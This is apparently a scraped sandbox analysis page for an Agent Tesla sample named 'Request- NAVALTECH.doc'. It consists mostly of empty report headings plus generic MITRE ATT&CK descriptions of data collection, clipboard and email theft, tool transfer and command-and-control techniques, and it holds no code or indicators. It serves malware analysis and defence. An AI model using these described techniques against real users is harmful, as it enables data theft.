Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report Request- NAVALTECH.doc

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Agenttesla

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Exploits:

Compliance:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static RTF Info

Objects

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

SMTP Packets

Function 00DDA6BD, Relevance: 5.5, Strings: 1, Instructions: 4236
COMMONCrypto

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre